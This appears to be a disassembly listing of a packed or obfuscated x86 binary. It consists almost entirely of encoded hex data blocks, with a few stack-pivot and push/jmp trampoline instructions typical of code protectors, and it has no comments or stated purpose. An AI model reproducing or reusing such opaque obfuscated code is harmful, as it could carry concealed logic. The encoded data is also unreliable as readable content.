0C8334DA2h dd 68FF68BCh, 5895A9BFh, 558A93E9h, 8A1FCC57h, 35C56DEAh dd 0B19A53EAh, 4771AEB7h, 39Ch, 8DCAC300h, 4771B64Bh, 0E9835CE1h dd 9ED60F13h, 417BB848h, 0F08861FBh, 0AFD9122Ah, 5068C559h dd 4BC758Ah, 0B4CC1D26h, 0E08950FEh, 4BD55h, 0E8010000h dd 4E8835Dh, 5C240487h, 76D668h, 243C8900h, 5E08950h, 4 dd 42Dh, 24048700h, 2414895Ch, 0ECF94E68h, 243C8B05h, 4C481h dd 8B540000h, 0C4812414h, 4, 8428F57h, 5324148Bh, 0C381E389h dd 4, 8704C383h, 8B5C241Ch db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5527B7 ; --------------------------------------------------------------------------- db 0BAh dd 20FD2453h, 899A9A15h, 35850079h, 60B8A899h, 305ED05h dd 21E0FFC5h, 7A14E394h, 3A5DAA86h, 4E2A475Dh, 4E6CDCE9h dd 0E828D82Dh, 7, 4F2183D7h, 0F57875Fh, 58Ah, 8F01BF00h dd 0E9593FD0h, 6, 84D245C6h, 0C181DC39h, 685Ch, 9FEE51BBh dd 0A1F38166h, 0E9669FF7h, 13h, 0CC7C72B6h, 0C59408B7h dd 0A726D5FAh, 987F178h, 0FFC4E572h, 81666031h, 8A4A8DEEh dd 815A61C1h, 7FF64CEAh, 28F0F08h, 0B4000000h, 0AEA81D6h dd 0E8114F97h, 0Bh, 0E75F6FE6h, 3D706EF0h, 81372EA9h, 0F50F4BC6h dd 0EA815E2Fh, 4D88A5B2h, 56940EBFh, 6611897Eh, 0E983C78Bh dd 37C78104h, 8365E866h, 850F01EBh, 0FFFFFFA7h, 8E8h, 0DD7E1D00h dd 0C5293515h, 605BFC3Dh, 209ABBB8h, 13E85Dh, 0B4350000h dd 4C8D4C24h, 9FB55104h, 0C2734CC2h, 469A69D8h, 8E0FC9h dd 58000000h, 55C38161h, 0F00006Fh, 28Fh, 0BAE88A00h, 1BAEh dd 8DF0BE66h, 816633FFh, 58E833E7h, 0E881CB8Bh, 271A935Bh dd 16CF8166h, 8CC0810Dh, 514B8EE6h, 1880Fh, 59F50000h dd 5DC081h, 8B661ECAh, 0BF6650F1h, 38FFB7Bh, 36E7BE66h dd 6640EB81h, 0F1B92A1Eh, 81116FBAh, 1E663CC3h, 0B9E9812Ah dd 837D3F71h, 850F01EAh, 0FFFFFFA8h, 8D8DFE8Bh, 5ED0814h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 25C35343h dd 8D8951F8h, 5E72315h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 28C35040h, 195095Ch, 0C705E70Dh, 0E708B985h dd 74F405h, 9985C700h, 5E70Ch, 0F000000h, 685h, 29BD8B00h dd 0FF05E72Ch, 0E7129DB5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 7A25624Bh dd 0C9B02946h, 0BE9h, 3E22CB00h, 7FD12C9Ch, 5FD93DAh, 1CD9509h dd 0F38B05E7h, 32CD95FFh, 7E905E7h, 3E000000h, 25CCEAACh dd 6ACEA4h, 1A1D95FFh, 0C08B05E7h, 0D41A7AEBh, 827802C6h dd 0F08174F8h, 447E72F8h, 0DBD4E542h, 0BF8C7DA2h, 55D39A04h dd 0F3F16C74h, 0A59A0E27h, 7D94A094h, 0B5559A1Eh, 0E64B91BBh dd 98090D9Ah, 0C1A589BEh, 7F16D7DFh, 77BD5489h, 0E6F9448Bh dd 44BD7BA8h, 0D11FB13Bh, 6BFD3188h, 0EF89B81Eh, 0C29228A9h dd 85EC3681h, 198A1479h, 0B03CAF25h, 0B0CC67C2h, 207BCDB2h dd 909CE2E3h, 6C58B897h, 234A3755h, 91BC8581h, 7D0079EBh dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h, 0F0009F89h dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 0C273E2ADh, 0E94CAB90h dd 1074h, 0ED0B1868h, 7459E905h, 1D68FFFAh, 0E905ED0Ch dd 0FFFA744Fh, 0ED0CEF68h, 7445E905h, 5868FFFAh, 0E905ED0Eh dd 0FFFA743Bh, 0ED0EF068h, 7431E905h, 8F68FFFAh, 0E905ED0Fh dd 0FFFA7427h, 0ED101D68h, 741DE905h, 9D68FFFAh, 0E905ED10h dd 0FFFA7413h, 0ED118168h, 7409E905h, 6668FFFAh, 0E905ED12h dd 0FFFA73FFh, 0ED13EB68h, 73F5E905h, 1768FFFAh, 0E905ED17h dd 0FFFA73EBh, 0ED183768h, 73E1E905h, 0D9C7FFFAh, 0C6C453FDh dd 0D6C368E0h, 0CADD6AE6h, 0D1D966EAh, 275E67E9h, 0D9774773h dd 0D9774772h, 0D7795972h, 0D27E4048h, 5E22F7DFh, 55C698EBh dd 7A527026h, 1162404Ah, 0BBF181B9h, 0A8AFB6E4h, 20A754Dh dd 0DF602C3Ch, 0C090EECEh, 75BD03F5h, 0E63700C3h, 11F4F887h dd 0AF1F1CB9h, 0CB14C95Ch, 7F27EFF7h, 928ED65Ah, 279CEDC6h dd 0C6928E51h, 0FF2E0152h, 0B93B9CDFh, 0CFC6928Eh, 81497A1Ch dd 928E4C34h, 951BBEC6h, 0AEC6928Eh, 75BD8C5Dh, 18227445h dd 0BE99746h, 71E3B6F5h, 5361F20Ch, 6Bh, 0BE7D3517h, 0B901F61h dd 2EC2C13Ch, 0EFD8676Fh, 7BBA93EFh, 36834B73h, 0C375E742h dd 54357041h, 0C95CFBFBh, 172FA7F0h, 0D3E7F9D6h, 7E5B7343h dd 0C692108Ah, 57DB889h, 0B800955Dh, 0BBC69210h, 0D6AE0B6Ah dd 43C69210h, 2D1A6054h, 0E488D6E6h, 63EF5377h, 0AA3A2EA8h dd 9A61F19Ch, 0CCh, 0DBAD0830h, 0D8C6921Ch, 523AAC8Fh dd 3906547Ah, 9365B0F1h, 90C375E2h, 0DF287647h, 0AA95E9CDh dd 2D8C5C62h, 0C375E650h, 63EDF1DBh, 0DFCCF4D4h, 7EC2D7FFh dd 75C375E6h, 0E887DB24h, 6C490104h, 0C95CF2D3h, 8DB19FE8h dd 7B4777A2h, 0EECEDF12h, 477AB990h, 0D7E2E4A9h, 0CCB89451h dd 0C189C112h, 2A09317Eh, 0EBE3DBC7h, 20229623h, 0D021C8A5h dd 0C6F05F95h, 2C960BF0h, 825E7021h, 0DB3D9h, 785E4A00h dd 63434BD0h, 615946EDh, 654940EFh, 64525CEBh, 0F6AAD9E4h dd 0F15EF2C8h, 0F15EF2CAh, 0CF54F4D4h, 5257F9DDh, 0E9D3A570h dd 0A5D0C698h, 566452F5h, 5B7BADFAh, 9A6E4B73h, 60C375E2h dd 75E2E355h, 0C697E0C3h, 96BAB6F5h, 0C0A80D35h, 0C3C375E2h dd 0E00CB3F2h, 42ED953Dh, 0A1066555h, 0C95CFEC8h, 0F34694E5h dd 0C692FE01h, 4F93AB94h, 38062860h, 16A32794h, 0F951842h dd 8846972Ch, 5A02C7C3h, 92E0897Fh, 7AB98AC6h, 0F28C35AFh dd 0B31761h, 874F0000h, 92EC4E32h, 397445C6h, 5D7A52A1h dd 9A3ADE23h, 0D4FAD201h, 1B64BA8Bh, 6ED32F2Fh, 0C3751591h dd 222E3018h, 0CF133315h, 71593CB0h, 4C348149h, 47C37515h dd 0B9523776h, 0CFC95C01h, 36042A60h, 0D62794D7h, 5A7A53FCh dd 0D21ED51Bh, 6B3E9B33h, 68CCB783h, 0BEE8B71Fh, 58A68486h dd 3282071h, 4F7A2717h, 2370221Bh, 0CAE5407h, 414F0000h dd 5E4CDB75h, 5E4BD078h, 4245D27Eh, 5941EE62h, 0AFC6EF61h dd 418FCFFBh, 418FCFFAh, 5FF1D1FAh, 5AF6D8F0h, 0D65A7F57h dd 0EDC698EEh, 0D35C8BEh, 75E2C0A8h, 0B3F2C3C3h, 0E464525Ch dd 0E7694D5Fh, 206A3523h, 1943C02h, 0C375E2BFh, 0DB1A6BB4h dd 0ACF2D4F4h, 0EB654943h, 2D29143Bh, 56BDF8D1h, 0D6795169h dd 0A38CD2E8h, 15744A6Ah, 0AE99E9C4h, 1DF0587Eh, 0D1B4384Dh dd 0EA5FDCF9h, 82ADC95Ch, 6199A089h, 97CB150Ah, 4C966746h dd 31EA0B71h, 96B4FBA6h, 576867B0h, 0BEE769E2h, 88C2C329h dd 2D4D1C2Dh, 6489934h, 1AD4A12Eh, 0DF1E31A8h, 6528C4E3h dd 9101486Dh, 7142CA38h, 0F0D6F659h, 0F5D9F358h, 93B0A708h dd 88D36F6Dh, 0BDCh, 894777BDh, 864A68A2h, 804870B9h, 9C4C90BBh dd 9DB38BB7h, 0E1298130h, 0FD2877D9h, 0E32877D9h, 0E6260DC3h dd 29B908C0h, 98EE248Ch, 9ACC3FC6h, 414A7A52h, 35092D7Fh dd 64BA8BD4h, 34E9A54Bh, 0A9AFF1BBh, 0C0F6200Fh, 84293FAh dd 8EAEFF40h, 4815CAAFh, 7852C95Dh, 9264EB5Dh, 4E9FE8C6h dd 607E582h, 83E0694Ch, 0ACFDCCBAh, 4B09EB4Eh, 0AC7FC8BBh dd 0E431F92Ah, 0C8BB4B1Ch, 4B65CBEEh, 2D7EC8BBh, 6530735Ch dd 5C0AE5EBh, 53D9h, 0EE02ED00h, 0B298A72Fh, 376586A5h dd 0F587F04h, 0D39BDA33h, 5D4F78C6h, 0A42E7FC9h, 576753FCh dd 2FD65A7Fh, 9CEDC692h, 795972A1h, 9B172FD7h, 866F2213h dd 0DDA10665h, 44C692FAh, 0CABE1B44h, 0C9C692FAh, 9AA1AFF8h dd 0BE9E8FB1h, 0F94A116Dh, 9C00000Ah, 0A72FEE02h dd 4FAEB098h, 0EBCCB207h, 0FACBC962h, 0A71028D0h, 0AD333C2Ah dd 0DDCF2201h, 0BF433580h, 0E40C698h, 98BFC5ABh, 0BC8DDEC6h dd 7656FD53h, 925A0A50h, 98BFB107h, 261B2C6h, 3AAC717Fh dd 8FB6BE9Fh, 606ABBCCh, 88B697B8h, 0C52A383h, 0B993FE3Dh dd 3A123D95h, 0ECECD514h, 0D4F44391h, 3060D8F2h, 0C585271Eh dd 0EB84FA39h, 6B4E0005h, 0C2863066h, 3F1F0C63h, 559A31EEh dd 0EA467612h, 0A73F1h, 381E0A00h, 23030B10h, 2119062Dh dd 2509002Fh, 24121C2Bh, 0B6EA9924h, 0B19EB288h, 0B19EB28Ah dd 8F94B494h, 1297B99Dh, 0EC9365B0h, 6590C698h, 0E25CD835h dd 5399C375h, 662018B2h, 4FB559A6h, 68105A99h, 9EFCD8C7h dd 8A8B6C4Fh, 47C96239h, 8B945C76h, 4F6FBC82h, 0F8D03F7Eh dd 0FB2D7AD6h, 0EECBF3DBh, 0C698391Ah, 0D1E9D619h, 755DA580h dd 0FDB7E03Dh, 79B4C9A0h, 0EFE7A64Ah, 1D615540h, 8ADBFBD2h dd 519623ABh, 16CCB0CBh, 738B58C5h, 7237025h, 9DB54h, 4076A200h dd 4B6BA388h, 4971BE85h, 4D91B887h, 4C8AB483h, 2E82319Ch dd 2976DAE0h, 2976DAE2h, 270CDCFCh, 0BA0FC1E5h, 0EC3B8D28h dd 0CD38C698h, 547A529Dh, 0CFEF3906h, 0B9C180F3h, 0D98A41D3h dd 3DB0367h, 35470000h, 8870450Dh, 8BC375E2h, 0E20BFDBAh dd 24F1C375h, 0C375E25Ch, 64B50657h, 97767A09h, 0EBAD9A3Fh dd 794AC962h, 0F8DECE51h, 0E3C1CB50h, 6BB780B4h, 0EDE9D47Bh dd 0EB4B298Eh, 628EC698h, 498E2BA3h, 2ECCB019h, 7D16EAD4h dd 20711CE5h, 24C8787Bh, 0FBE07870h, 93Ch, 69E7D7DDh, 66EAC8C2h dd 60E8D0D9h, 7CECF0DBh, 7DD3EBD7h, 41492150h, 5D48D779h dd 4348D779h, 4646ED63h, 89D9E860h, 98ED442Ch, 7A2C5FC6h dd 6547A52h, 0F3CFEF39h, 0D3B9C180h, 67D98A41h, 33C03h dd 5CD84700h, 99C375E2h, 5E5DBB53h, 0B9348300h, 80536668h dd 0C9C962CEh, 12ED6F8h, 8CDD2119h, 644A42B1h, 694D5FE4h dd 97767A15h, 3E659A3Fh, 54FBCCB0h, 121F5274h, 0B6F5D42Ah dd 0CE07F4C5h, 67024C6h, 8AEB12Ah, 414F0000h, 5E4CDB75h dd 5E4BD078h, 4245D27Eh, 5941EE62h, 0AFC6EF61h, 418FCFFBh dd 418FCFFAh, 5FF1D1FAh, 5AF6D8F0h, 0D65A7F57h, 0EDC698F2h dd 7A52C8BEh, 0FB2D7254h, 47A687DBh, 3A1C0C7Bh, 0CACC9FE4h dd 0D98A4EC6h, 2A77E67h, 0D8480000h, 0C375E25Ch, 18B25399h dd 62EBAFBDh, 0F3DB24C9h, 0F65A7CACh, 59417FA9h, 0ADCA1061h dd 0A1745E3Fh, 0CCB0015Ch, 64930859h, 8C702499h, 82E27B4h dd 0C1CF0000h, 0DECC5BF5h, 0DECB50F8h, 0C2C552FEh, 0D9C16EE2h dd 2F466FE1h, 0C10F4F7Bh, 0C10F4F7Ah, 0DF71517Ah, 0DA765870h dd 56DAFFD7h, 6DC698F2h, 7A52483Eh, 0EF390654h, 0E29D63B6h dd 4596C375h, 0CED92674h, 75B090EEh, 2761CEDDh, 0A5919CD3h dd 1B236E59h, 400BE6C7h, 66EEF446h, 86E9D1D9h, 735AA086h dd 8B19A130h, 3C93BD81h, 67D977A4h, 0A40CA951h, 0BFC375C1h dd 0C13E8217h, 0E435C375h, 5274549Bh, 7AA13h, 3E3C0000h dd 1E5h, 0E256D868h, 8B94C375h, 3C43A282h, 0D0E5EDB0h dd 0C962EB19h, 1737175Ah, 0B48CC6h, 0D87F4FD8h, 51FEF437h dd 258B2E77h, 3EC69803h, 0E74C9CEDh, 22BD81A5h, 0DF87CFCEh dd 34774770h, 0B0E86E53h, 20136BCCh, 0C838BD6Ah, 0A94E331Ch dd 71702657h, 74A82D9h, 0E5D30000h, 0FAD07FD1h, 0E22F74D4h dd 0FE2976DAh, 0FD2572DEh, 13A273DDh, 0E56B535Fh, 0E56B535Eh dd 0E36D4D5Eh, 0FE527454h, 4A3E9BCBh, 49C698F3h, 7A526C5Ah dd 0EF390654h, 8584F3CFh, 38125DA1h, 2BB0C41Ah, 0DF7703AFh dd 2A704670h, 0E2A91FBAh, 59AAC375h, 1CBA2D08h, 10BA9C8Ch dd 0E43A020Fh, 25AAA685h, 67D98EABh, 1099h, 1E3E2D00h dd 74000001h, 0E5B6823Ch, 75B05094h, 236A3565h, 8FEE3F03h dd 75E2432Ah, 0BB5A96C3h, 3F1F0C13h, 23AB8AE3h, 62EB2896h dd 485ED6C9h, 5C0FEF1Dh, 0C617E4C7h, 4569A38Ch, 4A6CBC8Bh dd 89955B74h, 9812442Ch, 3D0E5FC6h, 60C8ED95h, 63C69812h dd 3E9BD312h, 0CCB0F9C9h, 173D7F37h, 0C136ED98h, 0B29BE7C7h dd 7EB10261h, 43380931h, 70265FA8h, 658BD068h, 34000006h dd 3502CE08h, 301F3111h, 32193707h, 0E153B1Bh, 8F163A00h dd 4076A0F8h, 4074A388h, 4A6AA388h, 4F6FB986h, 13A62081h dd 0C698F0ADh, 520377A6h, 775C4A7Ah, 0D79D1148h, 24AEFF89h dd 75022F91h, 8ADB24C3h, 7D414BB4h, 0B8DE8D21h, 0C0F6200Fh dd 7D5093FAh, 0C6C50B2Bh, 67D8AE4Eh, 77Eh, 423E4800h, 68000000h dd 1C226A35h, 0F4DAF221h, 76464DD2h, 0ACFCCB37h, 80CBB48Ah dd 2562AA06h, 75E22890h, 0C7C42BC3h, 993C96E7h, 0C375E217h dd 0D8F2C32Ch, 0AC095477h, 0C375E2C4h, 61BD8EDFh, 74272D08h dd 27h, 547A52A2h, 996F4A72h, 9AC375E2h, 0A1146A49h, 0C375E2DCh dd 0B2FC430Bh, 9036A984h, 0FD281830h, 90E1C5C7h, 35D98947h dd 5D78216Ah, 0C375E2EBh, 704E9FE8h, 0D5F7DA19h, 309AA2EFh dd 75E213E5h, 0F6C710C3h, 3F8114DCh, 34C375E2h, 19B688EBh dd 0A09832D3h, 0E9D45C94h, 264095EDh, 882DA984h, 0C962FF22h dd 0E3DDCE21h, 69BA8BABh, 0E8CEDE61h, 0EDF1DB60h, 1BFAF691h dd 0F60566B3h, 0D122CC8Fh, 507656F9h, 6DFEB67Eh, 21744EC1h dd 928B7D3Ah, 0C688C8AFh, 0AF920DF3h, 0E43506C8h, 0ACFC4B89h dd 32CB48Ah, 0CD09340Ah, 734F98F1h, 48A4DB1Ah, 70450D45h dd 0C8AF9288h, 8510BA8Bh, 0C8AF9233h, 0CE84E730h, 868FE6EBh dd 13351AC2h, 3203F033h, 11F7BC4Dh, 8FCC6476h, 4E0h, 854B73B9h dd 824E6CBEh, 9C4C8CB5h, 98B094B7h, 99B787B3h, 0FD257D34h dd 0F92473DDh, 0E72473DDh, 0EA2209C7h, 2DA504C4h, 98F12088h dd 86F023C6h, 414A7A52h, 0F6BE1061h, 9B5860A9h, 0C375E215h dd 0A492DD2Eh, 0B2995796h, 5F7FAA9Ah, 0C5C7300Eh, 7B529DE1h dd 1A604045h, 449CE233h, 0F6E82BC3h, 0ADF930C1h, 0B6F5B18Dh dd 5318AE10h, 7AADF237h, 1D614544h, 4E9FE3CCh, 2608006Fh dd 0C8EB94ACh, 0BDB6F0h, 0F6F2D53Eh, 3F7E92E0h, 0DF42D231h dd 0ACF367D8h, 38075B63h, 0D4FECF0Fh, 75597FC1h, 0C82B74C3h dd 2973h, 0EE027700h, 0A412A72Fh, 93C95D30h, 0E6270842h dd 0F55A0AC6h, 0C8B18CCCh, 0C692AC62h, 4789ADFFh, 0AFF3D3F8h dd 40F2Ch, 6A357A00h, 9F220121h, 0BF1A4C51h, 0C95CF0FAh dd 5B2A7FFh, 0E03A1C0Ch, 0F1FCA1Bh, 0A9FAD32Fh, 11625846h dd 84AAE2CDh, 16287DC2h, 0E1C81634h, 826D5590h, 0BF2DCFCBh dd 9BE4CAC0h, 193D6C33h, 0CD89E4C5h, 0CE0C3A05h, 0B2950AEFh dd 0E3ABCCBBh, 8065515Ch, 0C8BBB238h, 0F36EE33Bh, 0AFA9B7E7h dd 0DFA1745Eh, 0D4C8BBE5h, 83DBA88Bh, 0C1C51CE3h, 0BA7199E1h dd 0E25A0C5Dh, 0AE6455E7h, 9F55902Fh, 41090CE0h, 92DEBF74h dd 30854DC2h, 0D2C0DE48h, 2D3F3D5h, 4901F231h, 0C0DE846Ch dd 0ED5366D2h, 0E6D2C0DEh, 0AAFBC495h, 0EB5D7820h, 0E8D2C0DEh dd 15625C9Fh, 0E6D12D2Dh, 55DBFEA7h, 6ED2C0DEh, 81EECC1Dh dd 8296AC85h, 0AE6F0E11h, 0FE6D015Dh, 8B5056D8h, 1EFFED0Fh dd 68AC61B4h, 6649D8E9h, 0D33A0026h, 0A7E14E82h, 5C4CBB87h dd 0D319D67Ah, 28D09832h, 0E9443B8Dh, 0AEF38D4h, 0D4E944A6h dd 45116CBDh, 0C0560370h, 79A689DEh, 40916241h, 562B360Eh dd 675A878h, 9796B83Ch dd 0BCFF7AE7h, 4F6A1242h, 0DEF691F9h, 0ED4AA9FAh, 0DEF69117h dd 17F9B161h, 6E0C3E33h, 761043A2h, 55B3F262h, 44D24Ah dd 0A7880000h, 7763427Ah, 0A72FEE02h, 5CFEB912h, 0A8E04FC9h dd 4262AB86h, 7DCE2D7Ch, 0AE86CE2Ch, 1FE805EBh, 69CE2DC0h dd 0C692928Bh, 0D12D0D1Eh, 0BA80A6E6h, 89355506h, 18008645h dd 61F21E88h, 13044h, 7A520E00h, 0F1390654h, 0B7A981C9h dd 0CEA6FE62h, 8DD52D08h, 72556BA2h, 0EC3D0C52h, 8217BF8Eh dd 0C3752B3Eh, 0AA89E435h, 6A484262h, 0C742F010h, 1A6BDCFBh dd 87B39CC4h, 0F1974B7h, 5FFD4356h, 0A5F6C375h, 0E52D7254h dd 0FCD989D5h, 0C3755F74h, 82ED3E0Fh, 7158A694h, 4E763E32h dd 755F856Bh, 6E4D9EC3h, 755B2C89h, 0C895B7C3h, 75231BEDh dd 0FECF18C3h, 0E3C3C552h, 3D68379Fh, 23E35560h, 97E0C375h dd 0D2117846h, 0A5C41AFh, 23817742h, 0B182C375h, 0D45D7872h dd 81C95C30h, 0DE398B0h, 24734608h, 2DCCB85Dh, 96E4CAC2h dd 0C36C66B7h, 7165EED7h, 0B0298EE6h, 0C935BB1Eh, 0FDCEC8A4h dd 0AB97BCACh, 64B5858Dh, 219770B7h, 0FBE07870h, 1B4h dd 0D17F5F45h, 0EE62404Ah, 0E8605841h, 0E4644843h, 0E56B535Fh dd 0C9F1A9D8h, 0C5F05FF1h, 0DBF05FF1h, 0DECE55FBh, 715150F8h dd 98F5DCA4h, 0F2A4D7C6h, 3236A35h, 8CC5CD20h, 75E24729h dd 2B735CC3h, 0C6BC05F1h, 0B19FE8E2h, 8A82A2EAh, 0AB0E56A4h dd 0C375C1C5h, 4DBC8DDEh, 24247545h, 2FEE0264h, 0E237FFA7h dd 0C375E21Eh, 0E9C415h, 0C95CFEAFh, 23C6544h, 85D62717h dd 0FE70C4B9h, 0BCE5C692h, 5671BE9Ch, 0C7942876h, 38D37FC3h dd 721A8A9Eh, 0C22A61F2h, 0BC000000h, 6547A52h, 0EEC8F15Eh dd 4A9BA3h, 75E2C3B5h, 0B4F7C0C3h, 15695159h, 75E6D3A0h dd 684E5EC3h, 6D715BE0h, 9B7A7611h, 0E6240B33h, 86BDBFC9h dd 66B7BD8Dh, 8EE1A207h, 0BD8EC95Ch, 143BE393h, 0E0482D29h dd 0E3C6926Ch, 0C02C5392h, 75CDF5DDh, 0ACA51D98h, 7CDD1826h dd 0CCB8473Ch, 0C36C66B7h, 0B53B9ED7h, 4EC8A496h, 95BA2C7Dh dd 3FA59AB3h, 4923830Eh, 0E8CB2278h, 0EBD3DF64h, 2211F936h dd 259F170h, 94h, 311F3F65h, 0CE02206Ah, 0C8003861h, 0C4042863h dd 0C50B337Fh, 0A991C9F8h, 0A590BF91h, 0BB90BF91h, 0BEEEB59Bh dd 5171B098h, 98FAFC44h, 0D284F7C6h, 0FA566452h, 0F55B7BADh dd 547A52D5h, 0CFEF3906h, 87866A01h, 0CEB207CFh, 0C5C375E2h dd 983DB9F4h, 0C962EB0Ah, 0B582D829h, 0B69DB393h, 976AB096h dd 9516467h, 0DD6F6B62h, 0DE65EBCBh, 0A592E8CEh, 787C4262h dd 7355F793h, 7656FD53h, 11510A50h, 99000000h, 0FC2C7323h dd 5DA584DAh, 417311DAh, 569513h, 0A506652h, 0F7CBEB3Dh dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h dd 7D4179A6h, 0E43A1832h, 0E6895602h, 4C681h, 0BA520000h dd 4, 875AD629h, 685C2434h, 44B2h, 56240C89h, 0C681E689h dd 4, 4EE81h, 34870000h, 34895C24h, 248EB924h, 0F7913955h dd 0E9D191D8h, 63B6C981h, 0F1813E4Ch, 7AB0662Ah, 24348B54h dd 4C481h, 53520000h, 0F4109768h, 0EB815B3Bh, 3BF4108Fh dd 15BDA89h, 5A0A89F2h, 5024348Bh, 405E089h, 5000000h dd 4, 5C240487h, 592434FFh, 4C481h, 0F8E90000h, 64FFFA63h dd 53FFC980h, 3A64E25Bh, 0ED18F0B8h, 0FFC50305h, 510BD0E0h dd 0D121887Ah, 47974671h, 0EB044F33h, 4CEC2A6Ah, 30502758h dd 45115F68h, 7AD92F68h, 87F196Ch, 58F4104Bh, 23721B41h dd 5B8A2034h, 3C5AC312h, 0D0B31172h, 6A9D5146h, 0CFB43849h dd 8BF1101Dh, 0F149206Bh, 5737AE3Ch, 45BC3F44h, 0D2EB83Fh dd 0A551304Fh, 0CB35FC70h, 0F0D87569h, 958BF310h, 6B596B0Eh dd 845EC425h, 0A88E8B01h, 1FA9537Ah, 17DE955h, 5D600000h dd 16C4FFEh, 0D1D76FC2h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h dd 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h dd 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh dd 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh dd 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 34D3C20Dh, 0E91FEADEh, 0FBFh dd 0ED1D9068h, 29A1E905h, 0A468FFFBh, 0E905ED1Eh, 0FFFB2997h dd 0ED200768h, 298DE905h, 0AE68FFFBh, 0E905ED20h, 0FFFB2983h dd 0ED21C668h, 2979E905h, 9968FFFBh, 0E905ED22h, 0FFFB296Fh dd 0ED232668h, 2965E905h, 0A768FFFBh, 0E905ED23h, 0FFFB295Bh dd 0ED249C68h, 2951E905h, 2668FFFBh, 0E905ED25h, 0FFFB2947h dd 0ED260068h, 293DE905h, 9F68FFFBh, 0E905ED26h, 0FFFB2933h dd 0ED275568h, 2929E905h, 0C768FFFBh, 0E905ED28h, 0FFFB291Fh dd 0ED29AF68h, 2915E905h, 0D76AFFFBh, 2833351Eh, 899EEAF3h dd 0E16543A8h, 3BC1270Ch, 59CE85EEh, 260FDC60h, 98E53EC2h dd 705D9AA8h, 2B30ED70h, 47BB10B3h, 0EC351B6Ch, 0B24BA7E2h dd 3B02DF60h, 666F3E81h, 30F67008h, 0C91F88A3h, 146A6334h dd 0BF30F670h, 3640ADB4h, 0F00E4714h, 5B30F670h, 67368990h dd 98D00D11h, 70708EC7h, 10DB30F6h, 0CC379009h, 8D36DD7Dh dd 0C89CD5FFh, 65CEE633h, 0D10F8C47h, 0C859EB04h, 38E1C86Ah dd 0B80BFA75h, 11D0DF13h, 2CFD7435h, 0D08D8D48h, 1DE93511h dd 1DF958EDh, 3DEE7400h, 1F000000h, 0C2FA37C9h, 1DF3A079h dd 18B534FFh, 36DD8CF1h, 0A77C8C58h, 0A1DB220Dh, 28460FDEh dd 0A635116Ch, 9DF13DACh, 63CA9D6Bh, 0D16DEDA6h, 3D093511h dd 18D9780Dh, 0D58E7400h, 0D1000000h, 8A7DB24Bh, 705C923Bh dd 7CF730F6h, 0E973C9ABh, 70CF23A8h, 0CD6430F6h, 0E97CCAE2h dd 97AE7C34h, 38747D46h, 6B30F675h, 0F295EF5Dh, 3C07B16Ah dd 0FB80FB88h, 2A031A2Eh, 815EE7C1h, 0EE2547F7h, 0CEEBB61Fh dd 0EB4236DDh, 19D2F082h, 12CB52A6h, 0A508915Ah, 743E228h dd 0CF53A933h, 34955E16h, 0AD69F349h, 0C22D4798h, 0D5FEC1FBh dd 30F88399h, 0C9D03B32h, 811A776h, 0FECF5529h, 0EE765ACFh dd 4CD0D03Dh, 0D4080D9Fh, 0AB35D992h, 0D2920h, 0E146DB00h dd 4297AC84h, 3BF80F79h, 9F50D6D2h, 71AAB2B6h, 0D1C87114h dd 0B3B59E4Bh, 196F74ADh, 0E1C72C09h, 20BA835Ch, 6DB4CA83h dd 731F351Bh, 65B14BD6h, 8D760EE3h, 9EEA59A2h, 0E8F0A98Ah dd 0DEB39855h, 0B534FF1Dh, 0DD8CF118h, 0D86CB836h, 198E6903h dd 64E19B52h, 35116CFAh, 0F184B29Eh, 74009E62h, 0E501h dd 0B24B4800h, 9160437Dh, 7079F5DEh, 1BD230F6h, 0F6701C52h dd 954ED230h, 0E67110DBh, 0D4051F21h, 7573319Ch, 0D42030F6h dd 1CE79156h, 4FA0A58Bh, 55F18766h, 0DB1508FFh, 200E2048h dd 832B8384h, 0F22B3206h, 4B183ABAh, 0F691EC02h, 6DF14730h dd 0D43FF8B0h, 5DAB7ACDh, 915A12C7h, 65F05F08h, 9E5936DDh dd 94C7E5B5h, 1182C33Fh, 0E6C16835h, 0ED817107h, 769B76DCh dd 0C410AD1h, 0A1330746h, 5BE137B6h, 186C3F8Eh, 57902805h dd 0F886D02Eh, 57F07B30h, 0B319AF1Eh, 0C11BEE63h, 0A2BA8E1Bh dd 0AB68D749h, 0B95D992h, 0C1540h, 9D5AEF00h, 7EABB0B0h dd 0D70C1315h, 8B64FACEh, 6DBE46A2h, 0E5DC4D00h, 47A18A5Fh dd 2D1B60C1h, 0F5F3D81Dh, 3C56BF70h, 6EC826AFh, 6F63351Bh dd 78B14B32h, 0DF101513h, 0B24B99F6h, 5460437Dh, 8912A84Fh dd 0C8108910h, 0C393F835h, 329B6AA1h, 36DDA253h, 29F84BE2h dd 0ED964FD3h, 3511AD91h, 0E96333Ah, 8DE1EABDh, 263511ADh dd 49C99A0Fh, 2D3511ADh, 0B59C31C1h, 5273FFDDh, 6Ch, 2F4308DBh dd 843511A1h, 0E89D1FADh, 8300C0h, 0FF1DDA87h, 0DD18B534h dd 0C36DD9Eh, 50C28B25h, 3435115Eh, 44C43147h, 0D4C9D499h dd 32C77773h, 7400BB1Fh, 24F90C58h, 2E4463h, 97E50000h dd 89F65390h, 0B534FF1Dh, 0DD77B118h, 0A7D11836h, 11773C3Eh dd 3ECC5835h, 0B3A8ABh, 